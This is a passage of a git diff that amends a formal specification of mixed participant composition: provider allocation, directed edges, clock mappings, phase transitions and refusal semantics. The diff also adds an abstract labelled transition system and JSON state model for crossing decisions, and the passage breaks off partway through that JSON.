selection. ## 3. Backend-neutral authoring ### MCB-001 — Portable scenario independence -Scenario identity and membership are independent of \(A\), \(T\), \(\Phi\), +Scenario identity and membership authority are independent of \(A_\phi\), \(T\), \(\Phi\), component manifests, and backend availability. ### MCB-002 — Allocation authority @@ -121,23 +136,28 @@ has the same meaning across admitted realizations. An apparatus component may realize or refuse \(u\). It cannot create a participant, controlled scope, action family, observation source, or crossing -that is absent from \(S\). +that is not permitted by \(S\). Here \(S\) includes the authored constraints +and their selected abstraction, not an exhaustive concrete inventory. A +delegated internal materialization choice does not become a portable allocation +unit. Additional portable membership, where allowed, must first pass the +owning prepared-membership authority and resolve stable compiled identities +before composition sealing; a backend report cannot grant it. ## 4. Allocation ### MCB-005 — Completeness -Every required unit has an admitted provider: +In every active phase, every required unit has an admitted active provider: \[ \forall u \in U_{\mathrm{required}},\ -\exists c \in C : (u,c) \in A +\exists c \in C_\phi : (u,c) \in A_\phi \] ### MCB-006 — Effective eligibility \[ -(u,c) \in A +(u,c) \in A_\phi \Rightarrow B(c,u) \geq \operatorname{requiredStrength}(u) \] @@ -146,16 +166,30 @@ where \(B\) includes declared support, effective support, required contracts, realization-envelope membership, limitations, downgrade, and conformance evidence. +Effective support is scoped to the selected provider, effect, edge and phase; +it is not the union of other providers' capabilities. Under negotiated +`backend-realization-preparation-v1`, delegated admission selects a jointly +supported allowed witness and later validates delivery. It does not require +the backend to realize every allowed completion. Legacy universal-envelope +admission and ADR-070 `subsumes(B,R)` retain their stronger meaning. Neither +negotiation nor a nonempty intersection alone proves delivery. + ### MCB-007 — Closed overlap If two providers cover the same unit, an accepted revisioned arbitration or failover profile must define selection and failure. Revision 1 supplies no such -profile, so unexplained overlap is invalid. +profile, so unexplained overlap is invalid. This is phase-relative and checks +resolved effect coverage across allocation kinds: a participant-runtime scope +and an action-family scope cannot assign the same effect to different +providers. Repeated consistent coverage by the same provider is not competing +ownership. Disjointness requires the owning scope interpretation, not address +prefixes. Sequential providers in different phases are not simultaneous overlap. ### MCB-008 — No runtime fallback A failed or unavailable provider does not authorize another component. -Fallback outside \(A\) is rejection. +Fallback outside the current \(A_\phi\) is rejection. A pinned but inactive +provider cannot act. ### MCB-009 — Schedule independence @@ -199,6 +233,12 @@ evidence An exchange across components is admissible only when its edge fields resolve to revision/digest-matched authority. +These are admitted apparatus obligations, not compulsory author-written backend +recipes. Evidence fields bind the selected obligation, basis and authorized +references; they do not require an experimental inventory or raw telemetry. +An obligation may be inapplicable only under its owning policy. Required +operational/capability facts cannot be waived by an empty reference list. + ### MCB-011 — Directionality An edge \(c_i \to c_j\) does not imply \(c_j \to c_i\). Bidirectional @@ -208,7 +248,11 @@ interaction uses two directed edges or a closed bidirectional profile. A nested component exposes its external allocation, edge/time/policy capabilities, digest, internal-evidence ref, and limitations. Its internal -composition is not inferred by the parent. +composition is not inferred by the parent. Internal evidence is required only +to support a selected boundary claim or execution obligation; unrelated +implementation choices need no authored profile or universal export. Nested +profile resolution is bounded and acyclic. Interaction feedback edges are +different: they may be cyclic, but require explicit progress/failure semantics. ## 6. Control and responsibility transfer @@ -297,7 +341,10 @@ Authorized audit retention does not add a participant observation. ## 8. Time and order -Each component records: +Each component's admitted time profile resolves the applicable terms below. +An inapplicable service (for example rollback in an irreversible physical +component) is explicitly dispositioned by that profile, not invented or made +a universal authored field: ```text clock identity and authority @@ -315,7 +362,11 @@ runtime readback ### MCB-023 — Cross-clock mapping Every edge between different clock domains has an admitted mapping \(M_{ij}\). -Without one, the relation is partial/unknown. +Without one, the relation is unknown and cannot authorize an exchange that +requires it. An admitted partial-order mapping is different: it can support +only comparisons actually established by that mapping. Incomparable events +remain incomparable; timestamps, phase indices and arrival order do not add +causal edges. Identity mappings within one clock are still explicit. ### MCB-024 — Timestamp weakness @@ -372,6 +423,12 @@ progress bound, and failure behavior resolves before plan sealing. The transition from \(\phi_i\) to \(\phi_{i+1}\) commits its exact state cut before the next phase can cause effects. +Revision 1 uses quiescent transition: pending effects/deliveries must be +resolved under their original owners before activation can commit. A timeout +or cancellation may stop progression but cannot turn pending work into +completion. The sealed transition names its trusted trigger evaluator, bounds +and failure disposition. Runtime facts do not themselves select apparatus. + ### MCB-032 — Phase history A transition appends prior/next phase, trigger/order, membership, @@ -399,8 +456,12 @@ does not grant authority. ### MCB-036 — World assumption `closed-world` rejects unknown entities/actions/observations/mappings. -`bounded-open-world` acknowledges possible unknowns but keeps portable -vocabularies closed and treats unknown mappings as unsupported. +`bounded-open-world` acknowledges possible unknowns but treats an unknown +required mapping as unsupported. This axis does not prohibit governed typed +extensions or close delegated materialization. Its closed terms describe +operational dispositions, not an exhaustive catalog of products, private +mechanisms or all possible worlds. Exact authored constraints remain binding +under either world assumption (ADR-105). ### MCB-037 — Federation membership @@ -434,6 +495,13 @@ mapping loss and evidence expectations The exact decision and predecessor histories commit atomically before the effect or serialization. +This is an authority/store transaction, not a distributed transaction with +the apparatus. A crash after commit requires reconciliation. The decision, +attempt, successful delivery and observation remain different facts; an +accepted operation receipt or a record named `delivered` is not success by +itself. Replay may return the original result, never renew permission or +dispatch a second effect implicitly. + ### MCB-040 — Zero prohibited effects Denial, stale cut, missing/unsupported mapping, failed admission, unsupported @@ -443,9 +511,14 @@ capability, invalid phase, or failed commit produces: zero prohibited backend calls zero participant/external disclosures unchanged prohibited effect state -append-only safe failure evidence +append-only safe failure evidence when its authorized store is available ``` +These zero-effect obligations apply to pre-effect refusals. Already-started +external effects are not undone by later denial, cancellation or store failure. +Retain their accountable state and limitations; do not restore an obsolete +snapshot or claim compensation, cleanup or exactly-once execution. + ### MCB-041 — Adapter distrust Backend output is revalidated and mapped through safe diagnostics. Adapter @@ -453,7 +526,7 @@ success cannot synthesize a portable success after a failed RAES gate. ## 12. Evidence and claims -ASR-537 evidence binds: +For the selected ASR-537 demonstration claim, evidence binds: ```text scenario and policy digests @@ -502,6 +575,14 @@ backend equivalence Evidence for one does not satisfy another without an explicit governed relation and binding. +Neither this demonstration protocol nor component specificity is a universal +per-run evidence demand. Collection, reporting, retention, export and required +operational inputs retain the independent +[observation-demand owner](../../sdl/observability-and-evidence.md#scoped-observation-demand). +An exact image does not request telemetry; an abstract model can request +exhaustive traces within a finite named scope. A missing required observation +fails its selected gate; absent unrequested data is not a composition defect. + ## 13. Nonclaims This design does not establish: @@ -519,3 +600,219 @@ This design does not establish: - trace inclusion or bisimulation; - IFC/noninterference; or - cross-backend equivalence. + +## 14. Revision-1 admission relation + +Let `resolve(u,S)` return the finite set of semantic effect/observation atoms +covered by compiled unit `u`, under its owning address and scope interpretation. +This includes cross-kind overlap. It is not string-prefix matching. Let +`Required(S,D,O,phi)` contain portable obligations at the declared abstraction, +effective selected observation demand `D`, and operational obligations `O`. +It excludes unspecified internal mechanisms and unrequested experimental data. + +```text +Providers(a,phi) = { c | (u,c) in A_phi and a in resolve(u,S) } +Complete(phi) iff every required atom has exactly one effective provider +Consistent(phi) iff every allocated atom has at most one effective provider +Eligible(phi) iff each allocation resolves to an active admitted component + with effective support for all its resolved atoms +``` + +An edge is the directed relation `(source, destination, crossing-scope)` plus +the bindings in section 5. A declared required exchange needs exactly one +resolving edge. No reverse or transitive authority follows from another edge. +Multiple edges with conflicting interpretations of the same exchange refuse +admission. Endpoint clocks must match the named mapping's source/destination +domains. A common adapter identity does not supply a missing mapping. Mapping +loss must be explicit, compatible with exact constraints, and accepted by the +selected policy before sealing. + +`ResolveGraph` requires unique component/phase identities, canonical scope +resolution, all selected revision/digest matches, closed possible membership, +and complete edge/trigger/reference resolution. Count, depth and work budgets +bound the entire resolution, including nested profiles. Missing references, +cyclic nested definitions or exhaustion reject the whole graph. Cyclic +interaction topology does not itself violate reference acyclicity, but makes +no progress/deadlock guarantee without its admitted coupling/failure rules. + +```text +Admit(P,S,D,O) iff + supported exact composition-profile revision + and ResolveGraph(P) + and all phases satisfy Complete, Consistent and Eligible + and every required exchange has its admitted directed edge + and all edge, time, loss, authority and selected evidence obligations resolve + and all finite transitions, trigger owners and failure bounds resolve + and the selected realization satisfies S jointly with all component/edge constraints +``` + +Alternative realization relates separately admitted plans holding instantiated +scenario and participant-policy identity fixed, with distinct plan-entry/run +identities and their own apparatus provenance. It is an OR choice, not a +concurrent fallback pool. Simultaneous mixed realization has at least one +active phase with two or more providers whose declared realized dimensions +include distinct forms. `federated-composition` describes a composition +boundary; its nested profile must disclose the relevant leaf forms. Several +same-form components, names or adapter classes alone do not establish mixed +simulation/emulation. Simulation realizes declared transition/interaction +semantics; emulation/operation realizes the selected operational behavior; +hardware/native names a physical/native realization dimension. These labels +are bounded declarations supported by the selected basis, not equivalence. + +Admission does not imply current execution permission. For exchange `x` at +cut `K`, the semantic effect relation is: + +```text +MayExchange(x,K) iff Admit(P,S,D,O) + and x belongs to the current active phase + and current authenticated participant/controller/scope authority is valid + and the owning action/input-admission predicate accepts + and SEM-230/API-423 policy, release and transformation predicates accept + and any selected stronger SEM-233 final-sink obligations accept + and current capability and required evidence remain sufficient + and every required order comparison holds under the admitted clock mapping + and expected revisions, policy/capability cuts and history heads equal K +``` + +The authorized projection includes declared metadata observations as well as +payload. `BridgeOutput(x,K)` must be a narrowing of that projection before +serialization. Metadata outside the modeled observer surface is an explicit +claim limitation, not proven absence of a channel. Audit uses its own audience. +An edge does not wrap every internal exchange in a participant carrier: +API-423 applies only at the participant boundary and keeps its existing typed +subjects, predecessor joins and stage dispositions. + +Refusal versus weakening is precise. Missing/revoked/stale authority, +unresolved required mappings, unmet exact constraints and failed commit always +refuse the affected effect. A weaker *claim* can be admitted only where its +owning policy explicitly permits that strength and records the omitted relation, +loss and limitations. It does not satisfy an unchanged stronger obligation. +Timestamp-only disclosure cannot be promoted to causal or backend-serialized +order. Optional unsupported observation has an explicit unavailable outcome; +required unsupported observation refuses. Weakening never invents permission. + +## 15. Abstract transition system and carrier compatibility + +State is `(sealed P, active phi, K, histories H, attempts E, knowledge N, +outstanding W)`. The sealed plan includes scenario selection and experiment +random-stream coordinates. The following transitions do not edit it: + +| Transition | Preconditions | Result | +| --- | --- | --- | +| refuse | a pre-effect obligation fails | unchanged effects/knowledge/active phase; append a bounded authorized refusal if storage is available | +| authorize and attempt | `MayExchange`, then successful atomic expected-cut commit | append decision and attempt; no implied delivery or observation | +| reconcile result | result joins its original committed attempt and owner | append successful, failed, partial or unknown result; only actual authorized delivery adds delivered information | +| advance phase | sealed next transition and trusted trigger, fresh valid cut, `W` empty, successful commit | activate next admitted allocation; preserve P, controller unless separately handed off, history prefixes and N | +| pending/failed transfer | transfer has not committed under its owner | no new provider/controller authority; preserve prior state subject to revocation/expiry | +| inter-trial link | new admitted entry/run and explicit source lineage | new trial identity; source histories remain immutable; SEM-230 memory scope owns any cross-trial memory treatment | + +Phase activation cannot reselect a scenario, redraw an experimental factor, +reset participant memory, erase a delivered fact or prove cleanup. A failed +phase commit does not partially activate a subset. Retry/replay must revalidate +the exact current cut and preserve idempotency. A finite schedule bounds possible +transitions; it does not establish termination if a trigger never occurs. + +The current API-423 successor validator requires strictly increasing scalar +order and stable participant/episode, audience, controller, authority, policy +and order coordinates. Its transformation graph has one result per source +identity in the validated history. RUN-310 uses total-effective-order and +order-then-revalidate. The partial-order relations above do not silently change +those carriers. A composition needing unsupported representation must refuse +that implementation until its versioned contract supplies the relation. Do not +restamp old records, discard history or synthesize source identities to fit it. + +RUN-310 owns supervision, approval/denial, direction, intervention, handoff, +override and cancellation. An accepted denial is a valid supervisory outcome, +not action admission. A stale rejected request is not a new controller. A +handoff evidence reference does not establish a provider handshake. Cancellation +at proposal/decision can prevent future work; after admission/attempt it carries +the incumbent partial/too-late disposition, not proof of backend abort. Use the +composed control/crossing commit and existing history owners; no second protocol +or event stream is defined here. + +## 16. Executable evidence and applicability + +The [worked cases and clause matrix](../../../docs/explain/reference/mixed-participant-composition.md) +bind this definition to finite admission/transition tests and incumbent +compatibility tests. The oracle interprets trusted finite scope, support, +policy and order inputs. It is not a parser, solver for arbitrary backends, +authentication service, nested-profile resolver, coordinator or conformance +engine. Its symbolic attempts/results are not realization evidence. + +MCB-001–045 are definitions; the matrix states the narrower clauses exercised +by executable witnesses. The #1013 semantic publication alone established no +portable schema or runtime enforcement. Subsequent #1014–#1016 and #1355 work +adds the published profile, trial admission, and bounded reference runtime +behavior described below; it does not establish a deployed backend +realization, general model-checking result, proof, or ASR-537 demonstration. +The profile keeps the edition-pinned prior-art dispositions +from [the #813 source assessment](../../../docs/research/cross-backend-participant-control/prior-art-and-design-criteria.md). +HLA ownership/time, co-simulation coupling and range transfer precedents remain +design lineage, not wire or behavioral compatibility claims. + +## 17. Executable edge and handoff interpretation (#1355) + +For an admitted directed edge (e), the trusted runtime binding fixes an +installed bridge version and digest, source and destination action subjects, +the admitted loss, and a time service for the edge's named mapping. The mapper +must preserve the already authorized compiled action address and its provider +allocation; backend-native translation remains inside the pinned bridge. The +control plane retains the operation id and exact provider; the bridge cannot +select another provider or gain controller or disclosure authority. No binding, +capability, current policy, or evidence means refusal before a provider call. +The executable edge must join the exact governed crossing subject, audience, +policy cut, controller, action and disclosure authority, and permitted final +sink decision before bridge invocation. + +Let (A) be the durable decision/attempt, (X) the correlated provider result, +(D) a destination receipt from independent readback, and (O) an authorized +participant/audience readback. The executable ordering is: + +```text +invoke(e) only after committed A and an admitted, read-back time/order grant +record X only for the original operation and selected provider +record D only after X and a matching destination receipt +record O only after D and a matching participant/audience observation +``` + +The time grant cites the named source and destination clocks, mapping, +comparable order, and evidence; typed pre/post runtime readback must match the +admitted time model. A mapping declaration or pair of timestamps does not +provide the grant. The bounded implementation supports proved comparisons +within one segment. Incomparable or unsupported comparisons refuse; neither a +shared physical clock nor physical-OT timing is inferred. +At equal mapped ticks, source microstep must not exceed destination microstep. +Successful execution, delivery, observation, and weakening facts require the +incumbent backend result gate to accept the returned provider result. If a +later readback interrupts the call, already confirmed stages remain tied to +their original operation and the operation stays `INDETERMINATE`. + +For a staged transition that changes active components, the admitted evaluator +and an installed transfer service are separate. The service must obtain its +time grant, execute the exact native handoff under the operation id, and read +back the destination owner at the next phase revision. Only then may the new +phase and handoff fact commit. A failed or stale handoff with old-owner readback +retains the prior phase. Pending, contradictory, or unknown transfer is +`INDETERMINATE` and blocks dependent work. The store atomically excludes a +competing phase or mixed-effect claim for that run while the transfer is active. +Native ownership does not alter RUN-310 controller authority. + +The governed request and provider snapshot are fixed before a mapper runs; +mapping, time, and bridge callbacks cannot mutate either carrier and still +invoke the provider on an altered cut. Handoff +time readbacks join the committed snapshot before the grant and after the +transfer. On restart, an interrupted edge or native transfer has only its +durable pre-effect cut. Provider-only recovery cannot establish the bridge, +clock, delivery, audience, or native-owner stages. Such an operation remains +`INDETERMINATE` and blocks dependent work until those stages are reconciled. +Generic acceptance of the current snapshot cannot discharge an interrupted +mixed edge or native handoff, even when its crossing history is valid. A +stage-specific reconciliation must prove the missing external facts first. +Startup still validates typed crossing records and every unaffected history; +only the suffix of the interrupted crossing is withheld from contextual +validation while its operation is quarantined. + +Historical `sem-234/rev1` edge references and success values retain their old +reference-only meaning. They cannot be promoted to delivered, observed, or +governed-time facts by a new reader. The executable service binding is local to +the trusted runtime; no published profile schema changes in this amendment. diff --git a/specs/formal/participant-semantics/crossing-models/rev2/abstract.aut b/specs/formal/participant-semantics/crossing-models/rev2/abstract.aut new file mode 100644 index 000000000..084c6a72c --- /dev/null +++ b/specs/formal/participant-semantics/crossing-models/rev2/abstract.aut @@ -0,0 +1,108 @@ +des (0, 107, 88) +(0,"crossing.request",1) +(0,"crossing.request",2) +(0,"crossing.request",3) +(0,"crossing.request",4) +(0,"crossing.request",5) +(0,"policy.cut.advance",6) +(1,"crossing.decision.deny",7) +(2,"crossing.decision.deny",8) +(3,"crossing.decision.permit",9) +(4,"crossing.decision.permit",10) +(5,"crossing.decision.unsupported",11) +(6,"crossing.request",12) +(6,"crossing.request",13) +(6,"crossing.request",14) +(6,"crossing.request",15) +(6,"crossing.request",16) +(7,"crossing.request",17) +(7,"policy.cut.advance",18) +(8,"crossing.request",19) +(8,"policy.cut.advance",20) +(9,"crossing.delivery",21) +(10,"crossing.transform",22) +(11,"crossing.request",23) +(11,"policy.cut.advance",24) +(12,"crossing.decision.permit",25) +(13,"crossing.decision.deny",26) +(14,"crossing.decision.permit",27) +(15,"crossing.decision.permit",28) +(16,"crossing.decision.unsupported",29) +(17,"crossing.decision.deny",30) +(18,"crossing.request",31) +(19,"crossing.decision.deny",32) +(20,"crossing.request",33) +(21,"crossing.observation",34) +(22,"crossing.delivery",35) +(23,"crossing.decision.unsupported",36) +(24,"crossing.request",37) +(25,"crossing.declassify",38) +(26,"crossing.request",39) +(27,"crossing.delivery",40) +(28,"crossing.transform",41) +(29,"crossing.request",42) +(30,"crossing.request",17) +(30,"policy.cut.advance",43) +(31,"crossing.replay.reject",44) +(32,"crossing.request",19) +(32,"policy.cut.advance",45) +(33,"crossing.replay.reject",46) +(34,"crossing.request",47) +(34,"policy.cut.advance",48) +(35,"crossing.observation",49) +(36,"crossing.request",23) +(36,"policy.cut.advance",50) +(37,"crossing.replay.reject",51) +(38,"crossing.delivery",52) +(39,"crossing.decision.deny",53) +(40,"crossing.observation",54) +(41,"crossing.delivery",55) +(42,"crossing.decision.unsupported",56) +(43,"crossing.request",31) +(44,"crossing.request",31) +(45,"crossing.request",33) +(46,"crossing.request",33) +(47,"crossing.decision.permit",57) +(48,"crossing.request",58) +(49,"crossing.request",59) +(49,"policy.cut.advance",60) +(50,"crossing.request",37) +(51,"crossing.request",37) +(52,"crossing.observation",61) +(53,"crossing.request",39) +(54,"crossing.request",62) +(55,"crossing.observation",63) +(56,"crossing.request",42) +(57,"crossing.delivery",64) +(58,"crossing.replay.reject",65) +(59,"crossing.decision.permit",66) +(60,"crossing.request",67) +(61,"crossing.request",68) +(62,"crossing.decision.permit",69) +(63,"crossing.request",70) +(64,"crossing.observation",71) +(65,"crossing.request",58) +(66,"crossing.transform",72) +(67,"crossing.replay.reject",73) +(68,"crossing.decision.permit",74) +(69,"crossing.delivery",75) +(70,"crossing.decision.permit",76) +(71,"crossing.request",47) +(71,"policy.cut.advance",77) +(72,"crossing.delivery",78) +(73,"crossing.request",67) +(74,"crossing.declassify",79) +(75,"crossing.observation",80) +(76,"crossing.transform",81) +(77,"crossing.request",58) +(78,"crossing.observation",82) +(79,"crossing.delivery",83) +(80,"crossing.request",62) +(81,"crossing.delivery",84) +(82,"crossing.request",59) +(82,"policy.cut.advance",85) +(83,"crossing.observation",86) +(84,"crossing.observation",87) +(85,"crossing.request",67) +(86,"crossing.request",68) +(87,"crossing.request",70) diff --git a/specs/formal/participant-semantics/crossing-models/rev2/abstract.json b/specs/formal/participant-semantics/crossing-models/rev2/abstract.json new file mode 100644 index 000000000..5c1f1f13b --- /dev/null +++ b/specs/formal/participant-semantics/crossing-models/rev2/abstract.json @@ -0,0 +1 @@ +{"initial":0,"semantic_edges":[[0,"crossing.request",1],[0,"crossing.request",2],[0,"crossing.request",3],[0,"crossing.request",4],[0,"crossing.request",5],[0,"policy.cut.advance",6],[1,"crossing.decision.deny",7],[2,"crossing.decision.deny",8],[3,"crossing.decision.permit",9],[4,"crossing.decision.permit",10],[5,"crossing.decision.unsupported",11],[6,"crossing.request",12],[6,"crossing.request",13],[6,"crossing.request",14],[6,"crossing.request",15],[6,"crossing.request",16],[7,"crossing.request",17],[7,"policy.cut.advance",18],[8,"crossing.request",19],[8,"policy.cut.advance",20],[9,"crossing.delivery",21],[10,"crossing.transform",22],[11,"crossing.request",23],[11,"policy.cut.advance",24],[12,"crossing.decision.permit",25],[13,"crossing.decision.deny",26],[14,"crossing.decision.permit",27],[15,"crossing.decision.permit",28],[16,"crossing.decision.unsupported",29],[17,"crossing.decision.deny",30],[18,"crossing.request",31],[19,"crossing.decision.deny",32],[20,"crossing.request",33],[21,"crossing.observation",34],[22,"crossing.delivery",35],[23,"crossing.decision.unsupported",36],[24,"crossing.request",37],[25,"crossing.declassify",38],[26,"crossing.request",39],[27,"crossing.delivery",40],[28,"crossing.transform",41],[29,"crossing.request",42],[30,"crossing.request",17],[30,"policy.cut.advance",43],[31,"crossing.replay.reject",44],[32,"crossing.request",19],[32,"policy.cut.advance",45],[33,"crossing.replay.reject",46],[34,"crossing.request",47],[34,"policy.cut.advance",48],[35,"crossing.observation",49],[36,"crossing.request",23],[36,"policy.cut.advance",50],[37,"crossing.replay.reject",51],[38,"crossing.delivery",52],[39,"crossing.decision.deny",53],[40,"crossing.observation",54],[41,"crossing.delivery",55],[42,"crossing.decision.unsupported",56],[43,"crossing.request",31],[44,"crossing.request",31],[45,"crossing.request",33],[46,"crossing.request",33],[47,"crossing.decision.permit",57],[48,"crossing.request",58],[49,"crossing.request",59],[49,"policy.cut.advance",60],[50,"crossing.request",37],[51,"crossing.request",37],[52,"crossing.observation",61],[53,"crossing.request",39],[54,"crossing.request",62],[55,"crossing.observation",63],[56,"crossing.request",42],[57,"crossing.delivery",64],[58,"crossing.replay.reject",65],[59,"crossing.decision.permit",66],[60,"crossing.request",67],[61,"crossing.request",68],[62,"crossing.decision.permit",69],[63,"crossing.request",70],[64,"crossing.observation",71],[65,"crossing.request",58],[66,"crossing.transform",72],[67,"crossing.replay.reject",73],[68,"crossing.decision.permit",74],[69,"crossing.delivery",75],[70,"crossing.decision.permit",76],[71,"crossing.request",47],[71,"policy.cut.advance",77],[72,"crossing.delivery",78],[73,"crossing.request",67],[74,"crossing.declassify",79],[75,"crossing.observation",80],[76,"crossing.transform",81],[77,"crossing.request",58],[78,"crossing.observation",82],[79,"crossing.delivery",83],[80,"crossing.request",62],[81,"crossing.delivery",84],[82,"crossing.request",59],[82,"policy.cut.advance",85],[83,"crossing.observation",86],[84,"crossing.observation",87],[85,"crossing.request",67],[86,"crossing.request",68],[87,"crossing.request",70]],"states":[{"cut":"p0","decision":"none","delivery":"none","intent":null,"last":null,"phase":"idle"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","declassify","p0","fresh"],"last":null,"phase":"offered"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","forbidden","p0","fresh"],"last":null,"phase":"offered"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"offered"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"offered"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","unsupported","p0","fresh"],"last":null,"phase":"offered"},{"cut":"p1","decision":"none","delivery":"none","intent":null,"last":null,"phase":"idle"},{"cut":"p0","decision":"deny","delivery":"withheld","intent":["request-0","declassify","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p0","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p0","decision":"permit","delivery":"pending","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"decided"},{"cut":"p0","decision":"transform","delivery":"none","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"decided"},{"cut":"p0","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p0","fresh"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"offered"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","forbidden","p1","fresh"],"last":null,"phase":"offered"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"offered"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"offered"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","unsupported","p1","fresh"],"last":null,"phase":"offered"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"offered"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","declassify","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"offered"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p0","fresh"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p0","decision":"permit","delivery":"pending","intent":["request-0","plain","p0","fresh"],"last":null,"phase":"delivery-pending"},{"cut":"p0","decision":"transform","delivery":"pending","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"decided"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"offered"},{"cut":"p1","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p0","fresh"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"cut":"p1","decision":"declassify","delivery":"none","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"decided"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p1","fresh"],"last":["request-0","p1","deny"],"phase":"terminal"},{"cut":"p1","decision":"permit","delivery":"pending","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"decided"},{"cut":"p1","decision":"transform","delivery":"none","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"decided"},{"cut":"p1","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p1","fresh"],"last":["request-0","p1","unsupported"],"phase":"terminal"},{"cut":"p0","decision":"deny","delivery":"withheld","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","declassify","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"offered"},{"cut":"p0","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","forbidden","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"offered"},{"cut":"p0","decision":"permit","delivery":"delivered","intent":["request-0","plain","p0","fresh"],"last":["request-0","p0","permit"],"phase":"terminal"},{"cut":"p0","decision":"transform","delivery":"pending","intent":["request-0","transform","p0","fresh"],"last":null,"phase":"delivery-pending"},{"cut":"p0","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","unsupported","p0","later-cut"],"last":["request-0","p0","unsupported"],"phase":"offered"},{"cut":"p1","decision":"declassify","delivery":"pending","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"decided"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","forbidden","p1","same-cut"],"last":["request-0","p1","deny"],"phase":"offered"},{"cut":"p1","decision":"permit","delivery":"pending","intent":["request-0","plain","p1","fresh"],"last":null,"phase":"delivery-pending"},{"cut":"p1","decision":"transform","delivery":"pending","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"decided"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"offered"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","declassify","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"offered"},{"cut":"p1","decision":"permit","delivery":"delivered","intent":["request-0","plain","p0","fresh"],"last":["request-0","p0","permit"],"phase":"terminal"},{"cut":"p0","decision":"transform","delivery":"delivered","intent":["request-0","transform","p0","fresh"],"last":["request-0","p0","transform"],"phase":"terminal"},{"cut":"p1","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"cut":"p1","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p0","later-cut"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"cut":"p1","decision":"declassify","delivery":"pending","intent":["request-0","declassify","p1","fresh"],"last":null,"phase":"delivery-pending"},{"cut":"p1","decision":"deny","delivery":"withheld","intent":["request-0","forbidden","p1","same-cut"],"last":["request-0","p1","deny"],"phase":"terminal"},{"cut":"p1","decision":"permit","delivery":"delivered","intent":["request-0","plain","p1","fresh"],"last":["request-0","p1","permit"],"phase":"terminal"},{"cut":"p1","decision":"transform","delivery":"pending","intent":["request-0","transform","p1","fresh"],"last":null,"phase":"delivery-pending"},{"cut":"p1","decision":"unsupported","delivery":"withheld","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"terminal"},{"cut":"p0","decision":"permit","delivery":"pending","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"decided"},{"cut":"p1","decision":"none","delivery":"none","intent":["request-0","plain","p0","later-cut"],"last":["request-0","p0","permit"],"phase":"offered"},{"cut":"p0","decision":"none","delivery":"none","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"offered"},{"cut":"p1","decision":"transform","delivery":"delivered","intent":["request-0","transform","p0","fresh"],"last":["request-0","p0","transform"],"phase":"terminal"},{"cut":"p1","decision":"declassify","delivery":"delivered","intent":[